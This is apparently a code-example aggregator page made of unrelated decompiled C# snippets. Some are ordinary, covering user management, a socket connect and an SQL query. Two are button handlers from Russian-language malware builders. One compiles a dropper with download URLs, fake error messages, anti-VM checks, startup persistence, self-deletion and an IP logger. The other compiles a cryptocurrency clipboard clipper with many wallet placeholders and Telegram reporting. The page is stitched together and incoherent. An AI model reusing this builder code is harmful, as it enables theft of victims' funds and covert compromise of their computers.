Esempio n. 1
0
        public static IUser GetUser(int userId, string username, bool isCacheable, bool userIsOnline)
        {
            if (userId == 0 && username == "Anonymous")
            {
                return(Users.GetAnonymousUser());
            }
            System.Collections.Hashtable hashtable = Users.smethod_0();
            string key = (userId > 0) ? Users.smethod_1(userId.ToString()) : Users.smethod_1(username);
            IUser  user;

            if (isCacheable)
            {
                user = (hashtable[key] as IUser);
                if (user != null)
                {
                    return(user);
                }
            }
            HiMembershipUser membershipUser = UserHelper.GetMembershipUser(userId, username, userIsOnline);

            if (membershipUser == null)
            {
                return(Users.GetAnonymousUser());
            }
            user = Class0.smethod_0(membershipUser.UserRole).vmethod_3(membershipUser);
            if (isCacheable)
            {
                hashtable[Users.smethod_1(user.Username)]          = user;
                hashtable[Users.smethod_1(user.UserId.ToString())] = user;
            }
            return(user);
        }
 // Token: 0x06000188 RID: 392 RVA: 0x00008D88 File Offset: 0x00006F88
 private void method_47(IPAddress ipaddress_1, ushort ushort_1)
 {
     try
     {
         this.socket_0             = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         this.socket_0.LingerState = new LingerOption(true, 0);
         this.socketAsyncEventArgs_2.RemoteEndPoint = new IPEndPoint(ipaddress_1, (int)ushort_1);
         if (Class0.smethod_0(ipaddress_1))
         {
             this.method_48(this.int_3);
         }
         else
         {
             this.method_48(this.int_4);
         }
         if (!this.socket_0.ConnectAsync(this.socketAsyncEventArgs_2))
         {
             this.method_52(this.socket_0, this.socketAsyncEventArgs_2);
         }
     }
     catch (Exception exception_)
     {
         Client.GDelegate9 gdelegate = this.gdelegate9_0;
         if (gdelegate != null)
         {
             gdelegate(this, exception_);
         }
         this.method_56();
     }
 }
Esempio n. 3
0
 private static void smethod_1(Session session_0, ClientMessage clientMessage_0)
 {
     using (SqlDatabaseClient client = SqlDatabaseManager.GetClient())
     {
         client.SetParameter("receptor", session_0.CharacterId);
         DataTable table = client.ExecuteQueryTable("SELECT * FROM laptop_mensajes WHERE (receptor = @receptor AND leido = '0') OR general = '1'");
         session_0.SendData(Class0.smethod_0(table), false);
     }
 }
Esempio n. 4
0
 private static void Main()
 {
     if (Class0.smethod_0())
     {
         Application.EnableVisualStyles();
         Application.SetCompatibleTextRenderingDefault(false);
         Application.Run(new Form1());
         return;
     }
     Process.GetCurrentProcess().Kill();
 }
Esempio n. 5
0
        public static CreateUserStatus CreateUser(IUser user, string[] roles)
        {
            CreateUserStatus createUserStatus = UserHelper.Create(user.MembershipUser, roles);

            if (createUserStatus == CreateUserStatus.Created && !Class0.smethod_0(user.UserRole).vmethod_2(user))
            {
                HiMembership.Delete(user.Username);
                createUserStatus = CreateUserStatus.UnknownFailure;
            }
            return(createUserStatus);
        }
Esempio n. 6
0
        public static bool UpdateUser(IUser user)
        {
            if (user == null)
            {
                return(false);
            }
            bool result;

            if (result = UserHelper.UpdateUser(user.MembershipUser))
            {
                result = Class0.smethod_0(user.UserRole).vmethod_6(user);
                HiContext current = HiContext.Current;
                if (current.User.UserId == user.UserId)
                {
                    current.User = user;
                }
            }
            Users.ClearUserCache(user);
            return(result);
        }
Esempio n. 7
0
 public static bool ValidTradePassword(IUser user)
 {
     return(Class0.smethod_0(user.UserRole).vmethod_7(user.Username, user.TradePassword));
 }
Esempio n. 8
0
    // Token: 0x060003E0 RID: 992 RVA: 0x0000B058 File Offset: 0x00009258
    private void flatButton2_Click(object sender, EventArgs e)
    {
        bool flag = false;

        if (Form1.smethod_38(Form1.smethod_37(this.flatComboBox2), ""))
        {
            flag = true;
            Form1.smethod_26("Не указан путь для скачивания файла!", "Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        if (Form1.smethod_38(Form1.smethod_37(this.tFName1), ""))
        {
            flag = true;
            Form1.smethod_26("Не указана ссылка на файл или имя файла", "Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        if (Form1.smethod_38(Form1.smethod_37(this.TitleName), "") || Form1.smethod_38(Form1.smethod_37(this.DescriptionText), "") || Form1.smethod_38(Form1.smethod_37(this.CompanyText), "") || Form1.smethod_38(Form1.smethod_37(this.VersionText), "") || Form1.smethod_38(Form1.smethod_37(this.Guid_Value), "") || Form1.smethod_38(Form1.smethod_37(this.CopyrightText), ""))
        {
            flag = true;
            Form1.smethod_26("Заполните данные в Описание файла или сгенирируйте случайные значения.", " Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        if (!flag)
        {
            using (SaveFileDialog saveFileDialog = Form1.smethod_39())
            {
                Form1.smethod_40(saveFileDialog, Form1.smethod_1());
                Form1.smethod_41(saveFileDialog, "Приложение (.exe)|*.exe");
                if (Form1.smethod_42(saveFileDialog, this) == DialogResult.OK)
                {
                    string text = Class2.String_1;
                    text = Form1.smethod_45(text, "[NameFile]", Form1.smethod_44(Form1.smethod_43(saveFileDialog)));
                    text = Form1.smethod_45(text, "[Title]", Form1.smethod_37(this.TitleName));
                    text = Form1.smethod_45(text, "[Description]", Form1.smethod_37(this.DescriptionText));
                    text = Form1.smethod_45(text, "[Company]", Form1.smethod_37(this.CompanyText));
                    text = Form1.smethod_45(text, "[Product]", Form1.smethod_37(this.TitleName));
                    text = Form1.smethod_45(text, "[Copyright]", Form1.smethod_37(this.CopyrightText));
                    text = Form1.smethod_45(text, "[Guid]", Form1.smethod_37(this.Guid_Value));
                    text = Form1.smethod_45(text, "[Version]", Form1.smethod_37(this.VersionText));
                    text = Form1.smethod_45(text, "[U1]", Form1.smethod_37(this.tDown1));
                    text = Form1.smethod_45(text, "[F1]", Form1.smethod_37(this.tFName1));
                    text = Form1.smethod_45(text, "[U2]", Form1.smethod_37(this.tDown2));
                    text = Form1.smethod_45(text, "[F2]", Form1.smethod_37(this.tFName2));
                    text = Form1.smethod_45(text, "[U3]", Form1.smethod_37(this.tDown3));
                    text = Form1.smethod_45(text, "[F3]", Form1.smethod_37(this.tFName3));
                    text = Form1.smethod_45(text, "[U4]", Form1.smethod_37(this.tDown4));
                    text = Form1.smethod_45(text, "[F4]", Form1.smethod_37(this.tFName4));
                    text = Form1.smethod_45(text, "[U5]", Form1.smethod_37(this.tDown5));
                    text = Form1.smethod_45(text, "[F5]", Form1.smethod_37(this.tFName5));
                    text = text.Replace("[D1]", ((int)this.flatNumeric2.Int64_0 * 1000).ToString());
                    text = text.Replace("[D2]", ((int)this.flatNumeric3.Int64_0 * 1000).ToString());
                    text = text.Replace("[D3]", ((int)this.flatNumeric4.Int64_0 * 1000).ToString());
                    text = text.Replace("[D4]", ((int)this.flatNumeric5.Int64_0 * 1000).ToString());
                    text = text.Replace("[D5]", ((int)this.flatNumeric6.Int64_0 * 1000).ToString());
                    text = text.Replace("[IP]", this.LinkLoggerTextBox.Text);
                    text = text.Replace("[Fake]", this.flatComboBox1.Text);
                    text = text.Replace("[Zagol]", this.flatTextBox1.Text);
                    text = text.Replace("[TextFake]", this.richTextBox1.Text);
                    text = text.Replace("[antivm]", this.flatCheckBox4.Boolean_0 ? "true" : "false");
                    text = text.Replace("[StartUp]", this.flatCheckBox3.Boolean_0 ? "true" : "false");
                    string text2 = this.flatComboBox2.Text;
                    if (text2 != null)
                    {
                        if (text2 == "Текущая папка")
                        {
                            text = text.Replace("[Path]", "AppDomain.CurrentDomain.BaseDirectory");
                        }
                        else if (text2 == "Temp")
                        {
                            text = text.Replace("[Path]", "Environment.GetEnvironmentVariable( \"Temp\" )");
                        }
                        else if (!(text2 == "AppData"))
                        {
                            if (text2 == "ProgramFiles(x86)")
                            {
                                text = text.Replace("[Path]", "Environment.GetEnvironmentVariable(\"ProgramFiles\")");
                            }
                            else if (!(text2 == "User"))
                            {
                                if (text2 == "ProgramData")
                                {
                                    text = text.Replace("[Path]", "Environment.GetEnvironmentVariable(\"ALLUSERPOFILE\")");
                                }
                            }
                            else
                            {
                                text = text.Replace("[Path]", "Environment.GetEnvironmentVariable(\"USERPROFILE)");
                            }
                        }
                        else
                        {
                            text = text.Replace("[Path]", "Environment.GetEnvironmentVariable( \"AppData\" )");
                        }
                    }
                    text = text.Replace("[Delete]", this.flatCheckBox2.Boolean_0 ? "true" : "false");
                    string text3 = "";
                    if (this.flatComboBox1.Text != "None")
                    {
                        text3 += "FAKE;";
                    }
                    if (this.flatCheckBox4.Boolean_0)
                    {
                        text3 += "VM;";
                    }
                    if (this.flatCheckBox2.Boolean_0)
                    {
                        text3 += "DEL;";
                    }
                    if (this.LinkLoggerTextBox.Text != "")
                    {
                        text3 += "LOGGER;";
                    }
                    if (this.flatCheckBox3.Boolean_0)
                    {
                        text3 += "STARTUP;";
                    }
                    if ((int)this.flatNumeric2.Int64_0 > 1)
                    {
                        text3 += "D1;";
                    }
                    if ((int)this.flatNumeric3.Int64_0 > 1)
                    {
                        text3 += "D2;";
                    }
                    if ((int)this.flatNumeric4.Int64_0 > 1)
                    {
                        text3 += "D3;";
                    }
                    if ((int)this.flatNumeric5.Int64_0 > 1)
                    {
                        text3 += "D4;";
                    }
                    if ((int)this.flatNumeric6.Int64_0 > 1)
                    {
                        text3 += "D5;";
                    }
                    if (this.IconTextBox.Text != "")
                    {
                        this.bool_0 = Form1.smethod_0(text, saveFileDialog.FileName, "v4.0", null, text3, this.IconTextBox.Text);
                    }
                    else
                    {
                        this.bool_0 = Form1.smethod_0(text, saveFileDialog.FileName, "v4.0", null, text3, null);
                    }
                    Class0.smethod_0(saveFileDialog.FileName);
                    if (this.flatNumeric1.Int64_0 > 0L)
                    {
                        this.method_1(saveFileDialog.FileName, (int)this.flatNumeric1.Int64_0, true);
                    }
                    if (this.bool_0)
                    {
                        MessageBox.Show("Компиляция прошла успешно! Файл сохранен по пути: " + saveFileDialog.FileName, " Успешно!", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                    }
                }
            }
        }
    }
Esempio n. 9
0
    // Token: 0x060003C4 RID: 964 RVA: 0x0000A2C4 File Offset: 0x000084C4
    private void flatButton2_Click(object sender, EventArgs e)
    {
        bool flag = false;

        if (Form1.smethod_57(Form1.smethod_56(this.TitleName), "") || Form1.smethod_57(Form1.smethod_56(this.DescriptionText), "") || Form1.smethod_57(Form1.smethod_56(this.CompanyText), "") || Form1.smethod_57(Form1.smethod_56(this.VersionText), "") || Form1.smethod_57(Form1.smethod_56(this.Guid_Value), "") || Form1.smethod_57(Form1.smethod_56(this.CopyrightText), ""))
        {
            flag = true;
            Form1.smethod_26("Заполните данные в Описание файла или сгенирируйте случайные значения.", " Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
        if (!flag)
        {
            SaveFileDialog saveFileDialog = Form1.smethod_58();
            try
            {
                Form1.smethod_59(saveFileDialog, Form1.smethod_2());
                Form1.smethod_36(saveFileDialog, "Приложение (.exe)|*.exe");
                if (Form1.smethod_60(saveFileDialog, this) == DialogResult.OK)
                {
                    string string_ = Class2.String_1;
                    string_ = Form1.smethod_55(string_, "[NameFile]", Form1.smethod_61(Form1.smethod_38(saveFileDialog)));
                    string_ = Form1.smethod_55(string_, "[Title]", Form1.smethod_56(this.TitleName));
                    string_ = Form1.smethod_55(string_, "[Description]", Form1.smethod_56(this.DescriptionText));
                    string_ = Form1.smethod_55(string_, "[Company]", Form1.smethod_56(this.CompanyText));
                    string_ = Form1.smethod_55(string_, "[Product]", Form1.smethod_56(this.TitleName));
                    string_ = Form1.smethod_55(string_, "[Copyright]", Form1.smethod_56(this.CopyrightText));
                    string_ = Form1.smethod_55(string_, "[Guid]", Form1.smethod_56(this.Guid_Value));
                    string_ = Form1.smethod_55(string_, "[Version]", Form1.smethod_56(this.VersionText));
                    string_ = Form1.smethod_55(string_, "[QIWI]", Form1.smethod_1(Form1.smethod_56(this.qiwi), true));
                    string_ = Form1.smethod_55(string_, "[WMR]", Form1.smethod_1(Form1.smethod_56(this.wmr), true));
                    string_ = Form1.smethod_55(string_, "[WMZ]", Form1.smethod_1(Form1.smethod_56(this.wmz), true));
                    string_ = Form1.smethod_55(string_, "[YM]", Form1.smethod_1(Form1.smethod_56(this.ym), true));
                    string_ = Form1.smethod_55(string_, "[BTC1]", Form1.smethod_1(Form1.smethod_56(this.BTC1), true));
                    string_ = Form1.smethod_55(string_, "[BTC3]", Form1.smethod_1(Form1.smethod_56(this.BTC3), true));
                    string_ = Form1.smethod_55(string_, "[ETH]", Form1.smethod_1(Form1.smethod_56(this.eth), true));
                    string_ = Form1.smethod_55(string_, "[STEAM]", Form1.smethod_1(Form1.smethod_56(this.steam), true));
                    string_ = Form1.smethod_55(string_, "[ZCASH]", Form1.smethod_1(Form1.smethod_56(this.zcash), true));
                    string_ = Form1.smethod_55(string_, "[XPR]", Form1.smethod_1(Form1.smethod_56(this.xpr), true));
                    string_ = Form1.smethod_55(string_, "[BCH]", Form1.smethod_1(Form1.smethod_56(this.bch), true));
                    string_ = Form1.smethod_55(string_, "[BTG]", Form1.smethod_1(Form1.smethod_56(this.btg), true));
                    string_ = Form1.smethod_55(string_, "[DASH]", Form1.smethod_1(Form1.smethod_56(this.dash), true));
                    string_ = Form1.smethod_55(string_, "[DOGE]", Form1.smethod_1(Form1.smethod_56(this.doge), true));
                    string_ = Form1.smethod_55(string_, "[LTC]", Form1.smethod_1(Form1.smethod_56(this.ltc), true));
                    string_ = Form1.smethod_55(string_, "[NEO]", Form1.smethod_1(Form1.smethod_56(this.neo), true));
                    string_ = Form1.smethod_55(string_, "[XLM]", Form1.smethod_1(Form1.smethod_56(this.xlm), true));
                    string_ = Form1.smethod_55(string_, "[PAY]", Form1.smethod_1(Form1.smethod_56(this.pay), true));
                    string_ = Form1.smethod_55(string_, "[TRX]", Form1.smethod_1(Form1.smethod_56(this.trx), true));
                    string_ = Form1.smethod_55(string_, "[PPC]", Form1.smethod_1(Form1.smethod_56(this.PPC), true));
                    string_ = Form1.smethod_55(string_, "[XMR]", Form1.smethod_1(Form1.smethod_56(this.XMR), true));
                    string_ = Form1.smethod_55(string_, "[BCN]", Form1.smethod_1(Form1.smethod_56(this.BCN), true));
                    string_ = Form1.smethod_55(string_, "[BNB]", Form1.smethod_1(Form1.smethod_56(this.BNB), true));
                    string_ = Form1.smethod_55(string_, "[WMP]", Form1.smethod_1(Form1.smethod_56(this.WMP), true));
                    string_ = Form1.smethod_55(string_, "[IP]", Form1.smethod_56(this.LinkLoggerTextBox));
                    string_ = Form1.smethod_55(string_, "[IP2]", Form1.smethod_56(this.Logger));
                    string_ = Form1.smethod_55(string_, "[TOKEN]", Form1.smethod_1(Form1.smethod_56(this.token), true));
                    string_ = Form1.smethod_55(string_, "[CHATID]", Form1.smethod_1(Form1.smethod_56(this.chatID), true));
                    string_ = Form1.smethod_55(string_, "[PROXY]", Form1.smethod_1(Form1.smethod_56(this.proxy), true));
                    string_ = Form1.smethod_55(string_, "[user]", Form1.smethod_1(Form1.smethod_56(this.userp), true));
                    string_ = Form1.smethod_55(string_, "[password]", Form1.smethod_1(Form1.smethod_56(this.passp), true));
                    string text = "";
                    if (this.flatCheckBox4.Boolean_0)
                    {
                        text = Form1.smethod_16(text, "TG;");
                    }
                    if (this.flatCheckBox5.Boolean_0)
                    {
                        text = Form1.smethod_16(text, "TGW;");
                    }
                    if (this.flatCheckBox2.Boolean_0)
                    {
                        text = Form1.smethod_16(text, "VM;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.LinkLoggerTextBox), ""))
                    {
                        text = Form1.smethod_16(text, "LOGGER;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.Logger), ""))
                    {
                        text = Form1.smethod_16(text, "LOGGER2;");
                    }
                    if (this.flatCheckBox3.Boolean_0)
                    {
                        text = Form1.smethod_16(text, "STARTUP;");
                    }
                    if (this.AntiTask.Boolean_0)
                    {
                        text = Form1.smethod_16(text, "AntiTask;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.BTC1), ""))
                    {
                        text = Form1.smethod_16(text, "BTC1;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.BTC3), ""))
                    {
                        text = Form1.smethod_16(text, "BTC3;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.qiwi), ""))
                    {
                        text = Form1.smethod_16(text, "QIWI;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.wmr), ""))
                    {
                        text = Form1.smethod_16(text, "WMR;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.wmz), ""))
                    {
                        text = Form1.smethod_16(text, "WMZ;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.ym), ""))
                    {
                        text = Form1.smethod_16(text, "YM;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.steam), ""))
                    {
                        text = Form1.smethod_16(text, "STEAM;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.eth), ""))
                    {
                        text = Form1.smethod_16(text, "ETH;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.pay), ""))
                    {
                        text = Form1.smethod_16(text, "PAY;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.neo), ""))
                    {
                        text = Form1.smethod_16(text, "NEO;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.zcash), ""))
                    {
                        text = Form1.smethod_16(text, "ZEC;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.XMR), ""))
                    {
                        text = Form1.smethod_16(text, "XMR;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.BCN), ""))
                    {
                        text = Form1.smethod_16(text, "BCN;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.btg), ""))
                    {
                        text = Form1.smethod_16(text, "BTG;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.xlm), ""))
                    {
                        text = Form1.smethod_16(text, "XLM;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.ltc), ""))
                    {
                        text = Form1.smethod_16(text, "LTC;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.bch), ""))
                    {
                        text = Form1.smethod_16(text, "BCH;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.xpr), ""))
                    {
                        text = Form1.smethod_16(text, "XPR;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.doge), ""))
                    {
                        text = Form1.smethod_16(text, "DOGE;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.dash), ""))
                    {
                        text = Form1.smethod_16(text, "DASH;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.trx), ""))
                    {
                        text = Form1.smethod_16(text, "TRX;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.PPC), ""))
                    {
                        text = Form1.smethod_16(text, "PPC;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.BNB), ""))
                    {
                        text = Form1.smethod_16(text, "BNB;");
                    }
                    if (Form1.smethod_62(Form1.smethod_56(this.WMP), ""))
                    {
                        text = Form1.smethod_16(text, "WMP;");
                    }
                    if (!Form1.smethod_62(Form1.smethod_56(this.IconTextBox), ""))
                    {
                        this.bool_0 = Form1.smethod_0(string_, Form1.smethod_38(saveFileDialog), "v4.0", null, text, null);
                    }
                    else
                    {
                        this.bool_0 = Form1.smethod_0(string_, Form1.smethod_38(saveFileDialog), "v4.0", null, text, Form1.smethod_56(this.IconTextBox));
                    }
                    Class0.smethod_0(Form1.smethod_38(saveFileDialog));
                    if (this.flatNumeric1.Int64_0 > 0L)
                    {
                        this.method_1(Form1.smethod_38(saveFileDialog), (int)this.flatNumeric1.Int64_0, true);
                    }
                    Form1.smethod_26(Form1.smethod_16("Компиляция прошла успешно! Файл сохранен по пути: ", Form1.smethod_38(saveFileDialog)), " Успешно!", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                }
            }
            finally
            {
                if (saveFileDialog != null)
                {
                    Form1.smethod_33(saveFileDialog);
                }
            }
        }
    }